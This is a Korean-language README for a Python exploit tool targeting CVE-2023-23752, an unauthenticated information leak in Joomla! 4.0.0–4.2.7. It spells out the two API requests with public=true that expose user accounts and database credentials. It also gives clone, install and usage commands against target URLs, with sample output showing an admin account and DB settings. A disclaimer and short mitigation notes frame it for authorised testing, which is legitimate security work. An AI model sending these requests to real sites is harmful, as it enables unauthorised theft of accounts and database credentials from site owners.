
CVE-2023-23752 익스플로잇의 Python 포트 — Joomla! < 4.2.8 인증되지 않은 정보 공개 (사용자 목록 + DB 자격 증명 유출)
⚠️ 면책 조항: 이 도구는 교육 목적과 승인된 침투 테스트 전용으로 제작되었습니다. 소유한 시스템이나 명시적인 서면 허가를 받은 시스템에만 사용하십시오. 무단 사용은 불법입니다.
**Joomla!**는 가장 널리 사용되는 오픈소스 콘텐츠 관리 시스템(CMS) 중 하나입니다. 4.0.0~4.2.7 버전은 적절한 접근 제어 없이 두 개의 API 엔드포인트를 노출하여, 인증되지 않은 공격자가 등록된 사용자 계정과 취약한 구성 환경에서는 사이트의 데이터베이스 자격 증명과 같은 민감한 정보를 검색할 수 있게 합니다.
이 취약점은 NSFOCUS TIANJI Lab의 Zewei Zhang이 발견하여 Joomla! 프로젝트에 공개했고, 프로젝트 측은 4.2.8 버전에서 패치를 배포했습니다. 이 취약점에는 CVE-2023-23752가 할당되었습니다.
이 저장소는 ACCEIS가 공개한 원본 Ruby 익스플로잇의 Python 포트입니다.
Joomla의 REST API 웹서비스 엔드포인트는 데이터를 반환하기 전에 인증 및 접근 검사를 강제해야 합니다. 영향을 받는 버전에서는 public=true 쿼리 매개변수와 함께 호출될 때 두 엔드포인트가 이 검사를 올바르게 수행하지 못하며, 요청을 익명의 "public" 접근 수준에서 온 것으로 취급하여 민감하지 않은 데이터만 노출해야 하지만 내부 정보가 유출됩니다.
GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true
이 스크립트는 다음 단계를 자동화합니다.
1. Send GET request to /api/index.php/v1/users?public=true
2. Parse the JSON:API response and extract user records
3. Send GET request to /api/index.php/v1/config/application?public=true
4. Parse the JSON:API response and extract site + database configuration
5. Print both datasets to the console
어떤 지점에서도 인증, 세션 또는 CSRF 토큰이 필요하지 않습니다. 전체 공격은 인증되지 않은 GET 요청 두 개로 구성됩니다.
requestspip install requests --break-system-packages
git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages
usage: CVE-2023-23752.py [-h] url
positional arguments:
url Base URL of the target, e.g. http://dev.devvortex.htb
options:
-h, --help show this help message and exit
python3 CVE-2023-23752.py http://127.0.0.1:4242
python3 CVE-2023-23752.py http://dev.devvortex.htb
=== Users ===
[123] Administrator (admin) - [email protected] - ['Super Users']
=== Site info ===
Site name: My Site
Editor: tinymce
Captcha: 0
Access: 1
Debug status: False
=== Database info ===
DB type: mysqli
DB host: localhost
DB user: joomla_user
DB password: ********
DB name: joomla_db
DB prefix: sd8f2_
DB encryption: 0
/api/index.php/*에 대한 접근을 제한하십시오./api/index.php/v1/ 웹서비스 경로에 대한 인증되지 않은 요청을 액세스 로그에서 모니터링하십시오.| 필드 | 값 |
|---|
| CVE | CVE-2023-23752 |
| 영향 범위 | Joomla! 4.0.0 – 4.2.7 |
| 유형 | 부적절한 접근 제어 / 정보 노출 |
| 권한 | 없음 (인증 불필요) |
| 영향 | 사용자 계정 및 DB 자격 증명 노출 |
| 패치 | Joomla! 4.2.8 (2023년 출시) |